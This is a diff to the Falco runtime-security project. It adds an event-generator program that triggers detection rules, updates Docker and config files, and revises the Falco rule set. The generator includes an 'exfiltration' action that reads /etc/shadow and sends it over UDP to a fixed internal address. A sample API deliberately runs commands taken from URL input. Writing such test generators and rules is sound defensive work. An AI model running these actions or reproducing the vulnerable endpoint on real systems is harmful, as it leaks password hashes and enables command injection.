+RUN apk add --no-cache bash g++
+COPY ./event_generator.cpp /usr/local/bin
+RUN mkdir -p /var/lib/rpm
+RUN g++ --std=c++0x /usr/local/bin/event_generator.cpp -o /usr/local/bin/event_generator
+CMD ["/usr/local/bin/event_generator"]

docker/event-generator/Makefile

@@ -0,0 +1,2 @@
+image:
+	docker build -t sysdig/falco-event-generator:latest .

docker/event-generator/event_generator.cpp

@@ -0,0 +1,497 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <cstdio>
+#include <utility>
+#include <map>
+#include <set>
+#include <string>
+#include <fstream>
+#include <sstream>
+#include <cstring>
+#include <cstdlib>
+#include <unistd.h>
+#include <getopt.h>
+#include <sys/errno.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <pwd.h>
+#include <sys/socket.h>
+#include <arpa/inet.h>
+
+using namespace std;
+
+void usage(char *program)
+{
+	printf("Usage %s [options]\n\n", program);
+	printf("Options:\n");
+	printf("     -h/--help: show this help\n");
+	printf("     -a/--action: actions to perform. Can be one of the following:\n");
+	printf("          write_binary_dir                           Write to files below /bin\n");
+	printf("          write_etc                                  Write to files below /etc\n");
+	printf("          read_sensitive_file                        Read a sensitive file\n");
+	printf("          read_sensitive_file_after_startup          As a trusted program, wait a while,\n");
+	printf("                                                     then read a sensitive file\n");
+	printf("          write_rpm_database                         Write to files below /var/lib/rpm\n");
+	printf("          spawn_shell                                Run a shell (bash)\n");
+	printf("          db_program_spawn_process                   As a database program, try to spawn\n");
+	printf("                                                     another program\n");
+	printf("          modify_binary_dirs                         Modify a file below /bin\n");
+	printf("          mkdir_binary_dirs                          Create a directory below /bin\n");
+	printf("          change_thread_namespace                    Change namespace\n");
+	printf("          system_user_interactive                    Change to a system user and try to\n");
+	printf("                                                     run an interactive command\n");
+	printf("          network_activity                           Open network connections\n");
+	printf("                                                     (used by system_procs_network_activity below)\n");
+	printf("          system_procs_network_activity              Open network connections as a program\n");
+	printf("                                                     that should not perform network actions\n");
+	printf("          non_sudo_setuid                            Setuid as a non-root user\n");
+	printf("          create_files_below_dev                     Create files below /dev\n");
+	printf("          exec_ls                                    execve() the program ls\n");
+	printf("                                                     (used by user_mgmt_binaries below)\n");
+	printf("          user_mgmt_binaries                         Become the program \"vipw\", which triggers\n");
+	printf("                                                     rules related to user management programs\n");
+	printf("          exfiltration                               Read /etc/shadow and send it via udp to a\n");
+	printf("                                                     specific address and port\n");
+	printf("          all                                        All of the above\n");
+	printf("       The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n");
+	printf("           as a colon-separated list\n");
+	printf("       if specified, -a/--action overrides any environment variables\n");
+	printf("     -i/--interval: Number of seconds between actions\n");
+	printf("     -o/--once: Perform actions once and exit\n");
+}
+
+void open_file(const char *filename, const char *flags)
+{
+	FILE *f = fopen(filename, flags);
+	if(f)
+	{
+		fclose(f);
+	}
+	else
+	{
+		fprintf(stderr, "Could not open %s for writing: %s\n", filename, strerror(errno));
+	}
+
+}
+
+void exfiltration()
+{
+	ifstream shadow;
+
+	shadow.open("/etc/shadow");
+
+	if(!shadow.is_open())
+	{
+		fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno));
+		return;
+	}
+
+	string line;
+	string shadow_contents;
+	while (getline(shadow, line))
+	{
+		shadow_contents += line;
+		shadow_contents += "\n";
+	}
+
+	int rc;
+	ssize_t sent;
+	int sock = socket(PF_INET, SOCK_DGRAM, 0);
+	struct sockaddr_in dest;
+
+	dest.sin_family = AF_INET;
+	dest.sin_port = htons(8197);
+	inet_aton("10.5.2.6", &(dest.sin_addr));
+
+	if((rc = connect(sock, (struct sockaddr *) &dest, sizeof(dest))) != 0)
+	{
+		fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno));
+		return;
+	}
+
+	if ((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size())
+	{
+		fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno));
+		return;
+	}
+
+	close(sock);
+}
+
+void touch(const char *filename)
+{
+	open_file(filename, "w");
+}
+
+void read(const char *filename)
+{
+	open_file(filename, "r");
+}
+
+uid_t become_user(const char *user)
+{
+	struct passwd *pw;
+	pw = getpwnam(user);
+	if(pw == NULL)
+	{
+		fprintf(stderr, "Could not find user information for \"%s\" user: %s\n", user, strerror(errno));
+		exit(1);
+	}
+
+	int rc = setuid(pw->pw_uid);
+
+	if(rc != 0)
+	{
+		fprintf(stderr, "Could not change user to \"%s\" (uid %u): %s\n", user, pw->pw_uid, strerror(errno));
+		exit(1);
+	}
+}
+
+void spawn(const char *cmd, char **argv, char **env)
+{
+	pid_t child;
+
+	// Fork a process, that way proc.duration is reset
+	if ((child = fork()) == 0)
+	{
+		execve(cmd, argv, env);
+		fprintf(stderr, "Could not exec to spawn %s: %s\n", cmd, strerror(errno));
+	}
+	else
+	{
+		int status;
+		waitpid(child, &status, 0);
+	}
+}
+
+void respawn(const char *cmd, const char *action, const char *interval)
+{
+	char *argv[] = {(char *) cmd,
+			(char *) "--action", (char *) action,
+			(char *) "--interval", (char *) interval,
+			(char *) "--once", NULL};
+
+	char *env[] = {NULL};
+
+	spawn(cmd, argv, env);
+}
+
+void write_binary_dir() {
+	printf("Writing to /bin/created-by-event-generator-sh...\n");
+	touch("/bin/created-by-event-generator-sh");
+}
+
+void write_etc() {
+	printf("Writing to /etc/created-by-event-generator-sh...\n");
+	touch("/etc/created-by-event-generator-sh");
+}
+
+void read_sensitive_file() {
+	printf("Reading /etc/shadow...\n");
+	read("/etc/shadow");
+}
+
+void read_sensitive_file_after_startup() {
+	printf("Becoming the program \"httpd\", sleeping 6 seconds and reading /etc/shadow...\n");
+	respawn("./httpd", "read_sensitive_file", "6");
+}
+
+void write_rpm_database() {
+	printf("Writing to /var/lib/rpm/created-by-event-generator-sh...\n");
+	touch("/var/lib/rpm/created-by-event-generator-sh");
+}
+
+void spawn_shell() {
+	printf("Spawning a shell using system()...\n");
+	int rc;
+
+	if ((rc = system("ls > /dev/null")) != 0)
+	{
+		fprintf(stderr, "Could not run ls > /dev/null in a shell: %s\n", strerror(errno));
+	}
+}
+
+void db_program_spawn_process() {
+	printf("Becoming the program \"mysql\" and then spawning a shell\n");
+	respawn("./mysqld", "spawn_shell", "0");
+}
+
+void modify_binary_dirs() {
+	printf("Moving /bin/true to /bin/true.event-generator-sh and back...\n");
+
+	if (rename("/bin/true", "/bin/true.event-generator-sh") != 0)
+	{
+		fprintf(stderr, "Could not rename \"/bin/true\" to \"/bin/true.event-generator-sh\": %s\n", strerror(errno));
+	}
+	else
+	{
+		if (rename("/bin/true.event-generator-sh", "/bin/true") != 0)
+		{
+			fprintf(stderr, "Could not rename \"/bin/true.event-generator-sh\" to \"/bin/true\": %s\n", strerror(errno));
+		}
+	}
+}
+
+void mkdir_binary_dirs() {
+	printf("Creating directory /bin/directory-created-by-event-generator-sh...\n");
+	if (mkdir("/bin/directory-created-by-event-generator-sh", 0644) != 0)
+	{
+		fprintf(stderr, "Could not create directory \"/bin/directory-created-by-event-generator-sh\": %s\n", strerror(errno));
+	}
+}
+
+void change_thread_namespace() {
+	printf("Calling setns() to change namespaces...\n");
+	// It doesn't matter that the arguments to setns are
+	// bogus. It's the attempt to call it that will trigger the
+	// rule.
+	setns(0, 0);
+}
+
+void system_user_interactive() {
+	pid_t child;
+
+	// Fork a child and do everything in the child.
+	if ((child = fork()) == 0)
+	{
+		become_user("daemon");
+		char *argv[] = {(char *)"/bin/login", NULL};
+		char *env[] = {NULL};
+		spawn("/bin/login", argv, env);
+		exit(0);
+	}
+	else
+	{
+		int status;
+		waitpid(child, &status, 0);
+	}
+}
+
+void network_activity() {
+	printf("Opening a listening socket on port 8192...\n");
+	int rc;
+	int sock = socket(PF_INET, SOCK_DGRAM, 0);
+	struct sockaddr_in localhost;
+
+	localhost.sin_family = AF_INET;
+	localhost.sin_port = htons(8192);
+	inet_aton("127.0.0.1", &(localhost.sin_addr));
+
+	if((rc = bind(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
+	{
+		fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
+		return;
+	}
+
+	listen(sock, 1);
+
+	close(sock);
+}
+
+void system_procs_network_activity() {
+	printf("Becoming the program \"sha1sum\" and then performing network activity\n");
+	respawn("./sha1sum", "network_activity", "0");
+}
+
+void non_sudo_setuid() {
+	pid_t child;
+
+	// Fork a child and do everything in the child.
+	if ((child = fork()) == 0)
+	{
+		// First setuid to something non-root. Then try to setuid back to root.
+		become_user("daemon");
+		become_user("root");
+		exit(0);
+	}
+	else
+	{
+		int status;
+		waitpid(child, &status, 0);
+	}
+}
+
+void create_files_below_dev() {
+	printf("Creating /dev/created-by-event-generator-sh...\n");
+	touch("/dev/created-by-event-generator-sh");
+}
+
+void exec_ls()
+{
+	char *argv[] = {(char *)"/bin/ls", NULL};
+	char *env[] = {NULL};
+	spawn("/bin/ls", argv, env);
+}
+
+void user_mgmt_binaries() {
+	printf("Becoming the program \"vipw\" and then running the program /bin/ls\n");
+	printf("NOTE: does not result in a falco notification in containers\n");
+	respawn("./vipw", "exec_ls", "0");
+}
+
+typedef void (*action_t)();
+
+map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
+					 {"write_etc", write_etc},
+					 {"read_sensitive_file", read_sensitive_file},
+					 {"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
+					 {"write_rpm_database", write_rpm_database},
+					 {"spawn_shell", spawn_shell},
+					 {"db_program_spawn_process", db_program_spawn_process},
+					 {"modify_binary_dirs", modify_binary_dirs},
+					 {"mkdir_binary_dirs", mkdir_binary_dirs},
+					 {"change_thread_namespace", change_thread_namespace},
+					 {"system_user_interactive", system_user_interactive},
+					 {"network_activity", network_activity},
+					 {"system_procs_network_activity", system_procs_network_activity},
+					 {"non_sudo_setuid", non_sudo_setuid},
+					 {"create_files_below_dev", create_files_below_dev},
+					 {"exec_ls", exec_ls},
+					 {"user_mgmt_binaries", user_mgmt_binaries},
+					 {"exfiltration", exfiltration}};
+
+
+void create_symlinks(const char *program)
+{
+	int rc;
+
+	// Some actions depend on this program being re-run as
+	// different program names like 'mysqld', 'httpd', etc. This
+	// sets up all the required symlinks.
+	const char *progs[] = {"./httpd", "./mysqld", "./sha1sum", "./vipw", NULL};
+
+	for (unsigned int i=0; progs[i] != NULL; i++)
+	{
+		unlink(progs[i]);
+
+		if ((rc = symlink(program, progs[i])) != 0)
+		{
+			fprintf(stderr, "Could not link \"./event_generator\" to \"%s\": %s\n", progs[i], strerror(errno));
+		}
+	}
+}
+
+void run_actions(map<string, action_t> &actions, int interval, bool once)
+{
+	while (true)
+	{
+		for (auto action : actions)
+		{
+			sleep(interval);
+			printf("***Action %s\n", action.first.c_str());
+			action.second();
+		}
+		if(once)
+		{
+			break;
+		}
+	}
+}
+
+int main(int argc, char **argv)
+{
+	map<string, action_t> actions;
+	int op;
+	int long_index = 0;
+	int interval = 1;
+	bool once = false;
+	map<string, action_t>::iterator it;
+
+	static struct option long_options[] =
+	{
+		{"help", no_argument, 0, 'h' },
+		{"action", required_argument, 0, 'a' },
+		{"interval", required_argument, 0, 'i' },
+		{"once", no_argument, 0, 'o' },
+
+		{0, 0}
+	};
+
+	//
+	// Parse the args
+	//
+	while((op = getopt_long(argc, argv,
+				"ha:i:l:",
+				long_options, &long_index)) != -1)
+	{
+		switch(op)
+		{
+		case 'h':
+			usage(argv[0]);
+			exit(1);
+		case 'a':
+			if((it = defined_actions.find(optarg)) == defined_actions.end())
+			{
+				fprintf(stderr, "No action with name \"%s\" known, exiting.\n", optarg);
+				exit(1);
+			}
+			actions.insert(*it);
+			break;
+		case 'i':
+			interval = atoi(optarg);
+			break;
+		case 'o':
+			once = true;
+			break;
+		default:
+			usage(argv[0]);
+			exit(1);
+		}
+	}
+
+	//
+        // Also look for actions in the environment. If specified, they
+        // override any specified on the command line.
+	//
+	char *env_action = getenv("EVENT_GENERATOR_ACTIONS");
+
+	if(env_action)
+	{
+		actions.clear();
+
+		string envs(env_action);
+		istringstream ss(envs);
+		string item;
+		while (std::getline(ss, item, ':'))
+		{
+			if((it = defined_actions.find(item)) == defined_actions.end())
+			{
+				fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str());
+				exit(1);
+			}
+			actions.insert(*it);
+		}
+	}
+
+	if(actions.size() == 0)
+	{
+		actions = defined_actions;
+	}
+
+	setvbuf(stdout, NULL, _IONBF, 0);
+	setvbuf(stderr, NULL, _IONBF, 0);
+	// Only create symlinks when running as the program event_generator
+	if (strstr(argv[0], "generator"))
+	{
+		create_symlinks(argv[0]);
+	}
+
+	run_actions(actions, interval, once);
+}

docker/stable/Dockerfile

@@ -14,12 +14,16 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN apt-get update \
+RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
+ && apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
 	curl \
+	jq \
 	ca-certificates \
+	gnupg2 \
 	gcc \
+	gcc-5 \
 	gcc-4.9 && rm -rf /var/lib/apt/lists/*
 
 # Terribly terrible hacks: since our base Debian image ships with GCC 5.0 which breaks older kernels,

docker/stable/docker-entrypoint.sh

@@ -1,13 +1,17 @@
 #!/bin/bash
 #set -e
 
-echo "* Setting up /usr/src links from host"
+# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module
 
-for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
-do 
-	ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
-done
+if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
+    echo "* Setting up /usr/src links from host"
 
-/usr/bin/sysdig-probe-loader
+    for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
+    do
+        ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
+    done
+
+    /usr/bin/sysdig-probe-loader
+fi
 
 exec "$@"

examples/nodejs-bad-rest-api/server.js

@@ -14,8 +14,8 @@ router.get('/', function(req, res) {
 });
 
 router.get('/exec/:cmd', function(req, res) {
-    var output = child_process.execSync(req.params.cmd);
-    res.send(output);
+    var ret = child_process.spawnSync(req.params.cmd);
+    res.send(ret.stdout);
 });
 
 app.use('/api', router);

falco.yaml

@@ -9,6 +9,27 @@ json_output: false
 log_stderr: true
 log_syslog: true
 
+# Minimum log level to include in logs. Note: these levels are
+# separate from the priority field of rules. This refers only to the
+# log level of falco's internal logging. Can be one of "emergency",
+# "alert", "critical", "error", "warning", "notice", "info", "debug".
+log_level: info
+
+# A throttling mechanism implemented as a token bucket limits the
+# rate of falco notifications. This throttling is controlled by the following configuration
+# options:
+#  - rate: the number of tokens (i.e. right to send a notification)
+#    gained per second. Defaults to 1.
+#  - max_burst: the maximum number of tokens outstanding. Defaults to 1000.
+#
+# With these defaults, falco could send up to 1000 notifications after
+# an initial quiet period, and then up to 1 notification per second
+# afterward. It would gain the full burst back after 1000 seconds of
+# no activity.
+
+outputs:
+  rate: 1
+  max_burst: 1000
 
 # Where security notifications should go.
 # Multiple outputs can be enabled.
@@ -23,6 +44,12 @@ file_output:
 stdout_output:
   enabled: true
 
+# Possible additional things you might want to do with program output:
+#   - send to a slack webhook:
+#         program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
+#   - logging (alternate method than syslog):
+#         program: logger -t falco-test
+
 program_output:
   enabled: false
   program: mail -s "Falco Notification" someone@example.com

rules/CMakeLists.txt

@@ -1,3 +1,19 @@
-install(FILES falco_rules.yaml
-	DESTINATION "${DIR_ETC}")
+if(NOT DEFINED FALCO_ETC_DIR)
+  set(FALCO_ETC_DIR "/etc")
+endif()
+
+if(NOT DEFINED FALCO_RULES_DEST_FILENAME)
+  set(FALCO_RULES_DEST_FILENAME "falco_rules.yaml")
+endif()
+
+if(DEFINED FALCO_COMPONENT)
+install(FILES falco_rules.yaml
+        COMPONENT "${FALCO_COMPONENT}"
+	DESTINATION "${FALCO_ETC_DIR}"
+	RENAME "${FALCO_RULES_DEST_FILENAME}")
+else()
+install(FILES falco_rules.yaml
+        DESTINATION "${FALCO_ETC_DIR}"
+        RENAME "${FALCO_RULES_DEST_FILENAME}")
+endif()
 

rules/falco_rules.yaml

@@ -54,6 +54,12 @@
 - macro: linux_so_dirs
   condition: ubuntu_so_dirs or centos_so_dirs or fd.name=/etc/ld.so.cache
 
+- list: shell_binaries
+  items: [bash, csh, ksh, sh, tcsh, zsh, dash]
+
+- macro: shell_procs
+  condition: proc.name in (shell_binaries)
+
 - list: coreutils_binaries
   items: [
     truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
@@ -70,7 +76,7 @@
 
 # dpkg -L login | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
 - list: login_binaries
-  items: [login, systemd-logind, su, nologin, faillog, lastlog, newgrp, sg]
+  items: [login, systemd, systemd-logind, su, nologin, faillog, lastlog, newgrp, sg]
 
 # dpkg -L passwd | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
 - list: passwd_binaries
@@ -90,10 +96,13 @@
     ]
 
 - list: sysdigcloud_binaries
-  items: [setup-backend, dragent]
+  items: [setup-backend, dragent, sdchecks]
 
 - list: docker_binaries
-  items: [docker, exe]
+  items: [docker, dockerd, exe]
+
+- list: k8s_binaries
+  items: [hyperkube, skydns, kube2sky]
 
 - list: http_server_binaries
   items: [nginx, httpd, httpd-foregroun, lighttpd]
@@ -107,7 +116,7 @@
 # The truncated dpkg-preconfigu is intentional, process names are
 # truncated at the sysdig level.
 - list: package_mgmt_binaries
-  items: [dpkg, dpkg-preconfigu, rpm, rpmkey, yum, frontend]
+  items: [dpkg, dpkg-preconfigu, dnf, rpm, rpmkey, yum, frontend]
 
 - macro: package_mgmt_procs
   condition: proc.name in (package_mgmt_binaries)
@@ -158,10 +167,19 @@
 # System
 - macro: modules
   condition: evt.type in (delete_module, init_module)
+
+# Use this to test whether the event occurred within a container.
+
+# When displaying container information in the output field, use
+# %container.info, without any leading term (file=%fd.name
+# %container.info user=%user.name, and not file=%fd.name
+# container=%container.info user=%user.name). The output will change
+# based on the context and whether or not -pk/-pm/-pc was specified on
+# the command line.
 - macro: container
   condition: container.id != host
 - macro: interactive
-  condition: ((proc.aname=sshd and proc.name != sshd) or proc.name=systemd-logind)
+  condition: ((proc.aname=sshd and proc.name != sshd) or proc.name=systemd-logind or proc.name=login)
 - macro: syslog
   condition: fd.name in (/dev/log, /run/systemd/journal/syslog)
 - list: cron_binaries
@@ -177,7 +195,7 @@
 # General Rules
 ###############
 
-- rule: write_binary_dir
+- rule: Write below binary dir
   desc: an attempt to write to any file below a set of binary directories
   condition: bin_dir and evt.dir = < and open_write and not package_mgmt_procs
   output: "File below a known binary directory opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
@@ -186,55 +204,55 @@
 - macro: write_etc_common
   condition: >
     etc_dir and evt.dir = < and open_write
-    and not proc.name in (shadowutils_binaries, sysdigcloud_binaries, package_mgmt_binaries, ssl_mgmt_binaries, dhcp_binaries, ldconfig.real)
+    and not proc.name in (shadowutils_binaries, sysdigcloud_binaries, package_mgmt_binaries, ssl_mgmt_binaries, dhcp_binaries, ldconfig.real, ldconfig)
     and not proc.pname in (sysdigcloud_binaries)
     and not fd.directory in (/etc/cassandra, /etc/ssl/certs/java)
 
-- rule: write_etc
+- rule: Write below etc
   desc: an attempt to write to any file below /etc, not in a pipe installer session
   condition: write_etc_common and not proc.sname=fbash
   output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
 # Within a fbash session, the severity is lowered to INFO
-- rule: write_etc_installer
+- rule: Write below etc in installer
   desc: an attempt to write to any file below /etc, in a pipe installer session
   condition: write_etc_common and proc.sname=fbash
   output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name) within pipe installer session"
   priority: INFO
 
-- rule: read_sensitive_file_untrusted
-  desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs.
-  condition: sensitive_files and open_read and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, cron_binaries, iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, bash, sshd) and not proc.cmdline contains /usr/bin/mandb
-  output: "Sensitive file opened for reading by non-trusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
-  priority: WARNING
-
-- rule: read_sensitive_file_trusted_after_startup
+- rule: Read sensitive file trusted after startup
   desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information) by a trusted program after startup. Trusted programs might read these files at startup to load initial state, but not afterwards.
   condition: sensitive_files and open_read and server_procs and not proc_is_new and proc.name!="sshd"
   output: "Sensitive file opened for reading by trusted program after startup (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
+- rule: Read sensitive file untrusted
+  desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs.
+  condition: sensitive_files and open_read and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, cron_binaries, iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, shell_binaries, sshd) and not proc.cmdline contains /usr/bin/mandb
+  output: "Sensitive file opened for reading by non-trusted program (user=%user.name name=%proc.name command=%proc.cmdline file=%fd.name)"
+  priority: WARNING
+
 # Only let rpm-related programs write to the rpm database
-- rule: write_rpm_database
+- rule: Write below rpm database
   desc: an attempt to write to the rpm database by any non-rpm related program
-  condition: fd.name startswith /var/lib/rpm and open_write and not proc.name in (rpm,rpmkey,yum)
+  condition: fd.name startswith /var/lib/rpm and open_write and not proc.name in (dnf,rpm,rpmkey,yum)
   output: "Rpm database opened for writing by a non-rpm program (command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
-- rule: db_program_spawned_process
+- rule: DB program spawned process
   desc: a database-server related program spawned a new process other than itself. This shouldn\'t occur and is a follow on from some SQL injection attacks.
   condition: proc.pname in (db_server_binaries) and spawned_process and not proc.name in (db_server_binaries)
   output: "Database-related program spawned process other than itself (user=%user.name program=%proc.cmdline parent=%proc.pname)"
   priority: WARNING
 
-- rule: modify_binary_dirs
+- rule: Modify binary dirs
   desc: an attempt to modify any file below a set of binary directories.
   condition: bin_dir_rename and modify and not package_mgmt_procs
   output: "File below known binary directory renamed/removed (user=%user.name command=%proc.cmdline operation=%evt.type file=%fd.name %evt.args)"
   priority: WARNING
 
-- rule: mkdir_binary_dirs
+- rule: Mkdir binary dirs
   desc: an attempt to create a directory below a set of binary directories.
   condition: mkdir and bin_dir_mkdir and not package_mgmt_procs
   output: "Directory below known binary directory created (user=%user.name command=%proc.cmdline directory=%evt.arg.path)"
@@ -250,43 +268,61 @@
 #   priority: WARNING
 
 # Temporarily disabling this rule as it's tripping over https://github.com/draios/sysdig/issues/598
-# - rule: syscall_returns_eaccess
+# - rule: Syscall returns eaccess
 #   desc: any system call that returns EACCESS. This is not always a strong indication of a problem, hence the INFO priority.
 #   condition: evt.res = EACCESS
 #   output: "System call returned EACCESS (user=%user.name command=%proc.cmdline syscall=%evt.type args=%evt.args)"
 #   priority: INFO
 
-- rule: change_thread_namespace
+- rule: Change thread namespace
   desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns.
-  condition: evt.type = setns and not proc.name in (docker, sysdig, dragent, nsenter, exe)
-  output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline container=%container.id)"
+  condition: evt.type = setns and not proc.name in (docker_binaries, k8s_binaries, sysdigcloud_binaries, sysdig, nsenter) and not proc.pname in (sysdigcloud_binaries)
+  output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline parent=%proc.pname %container.info)"
   priority: WARNING
 
-- rule: run_shell_untrusted
+- rule: Run shell untrusted
   desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries.
-  condition: spawned_process and not container and proc.name = bash and proc.pname exists and not proc.pname in (cron_binaries, bash, sshd, sudo, docker, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent)
+  condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, k8s_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco, fail2ban-server, apt-get, apt)
   output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
   priority: WARNING
 
+- macro: trusted_containers
+  condition: (container.image startswith sysdig/agent or container.image startswith sysdig/falco or container.image startswith sysdig/sysdig or container.image startswith gcr.io/google_containers/hyperkube or container.image startswith gcr.io/google_containers/kube-proxy)
+
+- rule: File Open by Privileged Container
+  desc: Any open by a privileged container. Exceptions are made for known trusted images.
+  condition: (open_read or open_write) and container and container.privileged=true and not trusted_containers
+  output: File opened for read/write by privileged container (user=%user.name command=%proc.cmdline %container.info file=%fd.name)
+  priority: WARNING
+
+- macro: sensitive_mount
+  condition: (container.mount.dest[/proc*] != "N/A")
+
+- rule: Sensitive Mount by Container
+  desc: Any open by a container that has a mount from a sensitive host directory (i.e. /proc). Exceptions are made for known trusted images.
+  condition: (open_read or open_write) and container and sensitive_mount and not trusted_containers
+  output: File opened for read/write by container mounting sensitive directory (user=%user.name command=%proc.cmdline %container.info file=%fd.name)
+  priority: WARNING
+
 # Anything run interactively by root
 # - condition: evt.type != switch and user.name = root and proc.name != sshd and interactive
 #  output: "Interactive root (%user.name %proc.name %evt.dir %evt.type %evt.args %fd.name)"
 #  priority: WARNING
 
-- rule: system_user_interactive
+- rule: System user interactive
   desc: an attempt to run interactive commands by a system (i.e. non-login) user
   condition: spawned_process and system_users and interactive
   output: "System user ran an interactive command (user=%user.name command=%proc.cmdline)"
   priority: WARNING
 
-- rule: run_shell_in_container
+- rule: Run shell in container
   desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded.
-  condition: spawned_process and container and proc.name = bash and proc.pname exists and not proc.pname in (sh, bash, docker)
-  output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
+  condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, k8s_binaries, initdb, pg_ctl, awk, apache2, falco, cron)
+  output: "Shell spawned in a container other than entrypoint (user=%user.name %container.info shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
   priority: WARNING
 
 # sockfamily ip is to exclude certain processes (like 'groups') that communicate on unix-domain sockets
-- rule: system_procs_network_activity
+- rule: System procs network activity
   desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
   condition: (fd.sockfamily = ip and system_procs) and (inbound or outbound)
   output: "Known system binary sent/received network traffic (user=%user.name command=%proc.cmdline connection=%fd.name)"
@@ -295,46 +331,46 @@
 # With the current restriction on system calls handled by falco
 # (e.g. excluding read/write/sendto/recvfrom/etc, this rule won't
 # trigger).
-# - rule: ssh_error_syslog
+# - rule: Ssh error in syslog
 #   desc: any ssh errors (failed logins, disconnects, ...) sent to syslog
 #   condition: syslog and ssh_error_message and evt.dir = <
 #   output: "sshd sent error message to syslog (error=%evt.buffer)"
 #   priority: WARNING
 
 # sshd, mail programs attempt to setuid to root even when running as non-root. Excluding here to avoid meaningless FPs
-- rule: non_sudo_setuid
+- rule: Non sudo setuid
   desc: an attempt to change users by calling setuid. sudo/su are excluded. user "root" is also excluded, as setuid calls typically involve dropping privileges.
-  condition: evt.type=setuid and evt.dir=> and not user.name=root and not proc.name in (userexec_binaries, mail_binaries, sshd)
+  condition: evt.type=setuid and evt.dir=> and not user.name=root and not proc.name in (userexec_binaries, mail_binaries, sshd, dbus-daemon-lau)
   output: "Unexpected setuid call by non-sudo, non-root program (user=%user.name command=%proc.cmdline uid=%evt.arg.uid)"
   priority: WARNING
 
-- rule: user_mgmt_binaries
+- rule: User mgmt binaries
   desc: activity by any programs that can manage users, passwords, or permissions. sudo and su are excluded. Activity in containers is also excluded--some containers create custom users on top of a base linux distribution at startup.
   condition: spawned_process and proc.name in (user_mgmt_binaries) and not proc.name in (su, sudo) and not container and not proc.pname in (cron_binaries, systemd, run-parts)
   output: "User management binary command run outside of container (user=%user.name command=%proc.cmdline parent=%proc.pname)"
   priority: WARNING
 
 # (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
-- rule: create_files_below_dev
+- rule: Create files below dev
   desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev.
   condition: fd.directory = /dev and (evt.type = creat or (evt.type = open and evt.arg.flags contains O_CREAT)) and proc.name != blkid and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr,/dev/tty)
   output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
 # fbash is a small shell script that runs bash, and is suitable for use in curl <curl> | fbash installers.
-- rule: installer_bash_starts_network_server
